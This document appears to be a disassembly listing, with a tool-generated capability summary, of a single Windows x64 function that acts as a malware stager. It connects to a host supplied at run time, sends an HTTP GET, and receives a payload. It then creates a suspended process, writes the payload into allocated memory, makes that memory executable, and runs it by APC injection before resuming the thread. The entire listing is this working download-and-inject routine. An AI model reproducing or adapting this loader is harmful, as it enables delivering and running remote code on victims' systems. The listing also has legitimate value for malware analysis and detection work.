Function at 0x140001180
Capabilities:
Connect socket
Create process on windows
Create process suspended
Initialize winsock library
Inject apc
Receive data
Receive data on socket
Resolve dns
Resume thread
Send data
Send data on socket
Use process replacement

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
mov eax, 0x1ef8
call fcn.140002110
sub rsp, rax
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x62a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1f18]
mov rax, qword [0x140009008]
xor rax, rbp
mov qword [rbp + 0x1e98], rax
lea rcx, [0x14000b0b5]
call fcn.140001f80
mov dword [rbp + 4], 0
mov rcx, qword [rbp + 0x1ec0]
call sub.ucrtbased.dll_strlen
inc rax
mov qword [rbp + 0x48], rax
mov qword [rbp + 0x68], 0x64
mov qword [rbp + 0x88], 0
mov qword [rsp + 0x20], 0xffffffffffffffff
mov r9, qword [rbp + 0x1ec0]
mov r8, qword [rbp + 0x48]
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x88]
call qword [sym.imp.ucrtbased.dll_mbstowcs_s]
mov qword [rbp + 0x358], 0xffffffffffffffff
mov qword [rbp + 0x378], 0
mov qword [rbp + 0x398], 0
movzx eax, byte [0x1400067d0]
mov byte [rbp + 0x410], al
lea rax, [rbp + 0x411]
mov rdi, rax
xor eax, eax
mov ecx, 0x103
rep stosb byte [rdi], al
lea rdx, str.GET__
lea rcx, [rbp + 0x410]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rdx, qword [rbp + 0x1ed0]
lea rcx, [rbp + 0x410]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov r8d, 0x1000
xor edx, edx
lea rcx, [rbp + 0x540]
call sub.VCRUNTIME140D.dll_memset
mov dword [rbp + 0x1574], 0x1000
lea rdx, [rbp + 0x1a0]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [rbp + 0x1554], eax
cmp dword [rbp + 0x1554], 0
je 0x1400012f1
mov edx, dword [rbp + 0x1554]
lea rcx, str.WSAStartup_failed_with_error123:__d_n
call fcn.140001b10
mov eax, 1
jmp 0x1400018ab
mov r8d, 0x30
xor edx, edx
lea rcx, [rbp + 0x3b8]
call sub.VCRUNTIME140D.dll_memset
mov dword [rbp + 0x3bc], 2
mov dword [rbp + 0x3c0], 1
mov dword [rbp + 0x3c4], 6
lea r9, [rbp + 0x378]
lea r8, [rbp + 0x3b8]
mov rdx, qword [rbp + 0x1ec8]
mov rcx, qword [rbp + 0x1ec0]
call qword [sym.imp.WS2_32.dll_getaddrinfo]
mov dword [rbp + 0x1554], eax
cmp dword [rbp + 0x1554], 0
je 0x140001376
mov edx, dword [rbp + 0x1554]
lea rcx, str.getaddrinfo_failed_with_error:__d_n
call fcn.140001b10
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x1400018ab
mov rax, qword [rbp + 0x378]
mov qword [rbp + 0x398], rax
jmp 0x140001398
mov rax, qword [rbp + 0x398]
mov rax, qword [rax + 0x28]
mov qword [rbp + 0x398], rax
cmp qword [rbp + 0x398], 0
je 0x140001470
mov rax, qword [rbp + 0x398]
mov r8d, dword [rax + 0xc]
mov rax, qword [rbp + 0x398]
mov edx, dword [rax + 8]
mov rax, qword [rbp + 0x398]
mov ecx, dword [rax + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rbp + 0x358], rax
cmp qword [rbp + 0x358], 0xffffffffffffffff
jne 0x140001400
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.socket_failed_with_error:__ld_n
call fcn.140001b10
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x1400018ab
mov r8, qword [rbp + 0x1ec8]
mov rdx, qword [rbp + 0x1ec0]
lea rcx, str.___Connect_to__s:_s
call fcn.140001b10
mov rax, qword [rbp + 0x398]
mov r8d, dword [rax + 0x10]
mov rax, qword [rbp + 0x398]
mov rdx, qword [rax + 0x20]
mov rcx, qword [rbp + 0x358]
call qword [sym.imp.WS2_32.dll_connect]
mov dword [rbp + 0x1554], eax
cmp dword [rbp + 0x1554], 0xffffffff
jne 0x140001469
mov rcx, qword [rbp + 0x358]
call qword [sym.imp.WS2_32.dll_closesocket]
mov qword [rbp + 0x358], 0xffffffffffffffff
jmp 0x140001386
jmp 0x140001470
mov rcx, qword [rbp + 0x378]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp qword [rbp + 0x358], 0xffffffffffffffff
jne 0x1400014a3
lea rcx, str.Unable_to_connect_to_server__n
call fcn.140001b10
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x1400018ab
lea rcx, [rbp + 0x410]
call sub.ucrtbased.dll_strlen
xor r9d, r9d
mov r8d, eax
lea rdx, [rbp + 0x410]
mov rcx, qword [rbp + 0x358]
call qword [sym.imp.WS2_32.dll_send]
mov dword [rbp + 0x1554], eax
cmp dword [rbp + 0x1554], 0xffffffff
jne 0x140001509
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.send_failed_with_error:__d_n
call fcn.140001b10
mov rcx, qword [rbp + 0x358]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x1400018ab
mov edx, dword [rbp + 0x1554]
lea rcx, str._n___Sent__ld_Bytes_n
call fcn.140001b10
mov edx, 1
mov rcx, qword [rbp + 0x358]
call qword [sym.imp.WS2_32.dll_shutdown]
mov dword [rbp + 0x1554], eax
cmp dword [rbp + 0x1554], 0xffffffff
jne 0x14000156d
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.shutdown_failed_with_error:__d_n
call fcn.140001b10
mov rcx, qword [rbp + 0x358]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x1400018ab
xor r9d, r9d
mov r8d, dword [rbp + 0x1574]
lea rdx, [rbp + 0x540]
mov rcx, qword [rbp + 0x358]
call qword [sym.imp.WS2_32.dll_recv]
mov dword [rbp + 0x1554], eax
cmp dword [rbp + 0x1554], 0
jle 0x1400015ae
mov edx, dword [rbp + 0x1554]
lea rcx, str.___Received__d_Bytes_n
call fcn.140001b10
jmp 0x1400015d9
cmp dword [rbp + 0x1554], 0
jne 0x1400015c5
lea rcx, str.___Connection_closed_n
call fcn.140001b10
jmp 0x1400015d9
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.recv_failed_with_error:__d_n
call fcn.140001b10
lea rax, [rbp + 0x15a0]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
lea rax, [rbp + 0x1628]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov qword [rbp + 0x1658], 0
mov dword [rbp + 0x1674], 0
mov qword [rbp + 0x1698], 0x1000
movzx eax, byte [0x1400067d0]
mov byte [rbp + 0x16c0], al
lea rax, [rbp + 0x16c1]
mov rdi, rax
xor eax, eax
mov ecx, 0x103
rep stosb byte [rdi], al
lea rax, [rbp + 0x1e44]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x1e68]
lea rcx, [rbp + 0x1e44]
call fcn.140001040
mov rcx, rax
call fcn.140001000
mov rdx, rax
lea rcx, [rbp + 0x16c0]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rax, [rbp + 0x1628]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x15a0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x16c0]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1400016ee
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_Create_a_New_Process___n
call fcn.140001bd0
mov eax, 1
jmp 0x1400018ab
mov rax, qword [rbp + 0x1628]
mov qword [rbp + 0x17e8], rax
mov rax, qword [rbp + 0x1630]
mov qword [rbp + 0x1808], rax
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8, qword [rbp + 0x1698]
xor edx, edx
mov rcx, qword [rbp + 0x17e8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x1658], rax
cmp qword [rbp + 0x1658], 0
jne 0x140001777
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_allocate_the_memory__n
call fcn.140001bd0
mov rcx, qword [rbp + 0x17e8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x1808]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400018ab
mov rax, qword [rbp + 0x1658]
mov qword [rbp + 0x1828], rax
mov rdx, qword [rbp + 0x1658]
lea rcx, str.Allocated_the_memory_:__p_n
call fcn.140001b10
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0x1698]
lea r8, [rbp + 0x540]
mov rdx, qword [rbp + 0x1658]
mov rcx, qword [rbp + 0x17e8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400017ff
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_Write_Payload_into_the_memory_n
call fcn.140001bd0
mov rcx, qword [rbp + 0x17e8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x1808]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400018ab
lea rax, [rbp + 0x1674]
mov qword [rsp + 0x20], rax
mov r9d, 0x20
mov r8, qword [rbp + 0x1698]
mov rdx, qword [rbp + 0x1658]
mov rcx, qword [rbp + 0x17e8]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x140001865
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_Change_the_memory_protection__n
call fcn.140001bd0
mov rcx, qword [rbp + 0x17e8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x1808]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400018ab
xor r8d, r8d
mov rdx, qword [rbp + 0x1808]
mov rcx, qword [rbp + 0x1828]
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rcx, qword [rbp + 0x1808]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp dword [rbp + 0x1554], 0
jg 0x14000156d
mov rcx, qword [rbp + 0x358]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x1400067c0]
call fcn.140001d50
mov rax, rdi
mov rcx, qword [rbp + 0x1e98]
xor rcx, rbp
call fcn.140002170
lea rsp, [rbp + 0x1ea8]
pop rdi
pop rbp
ret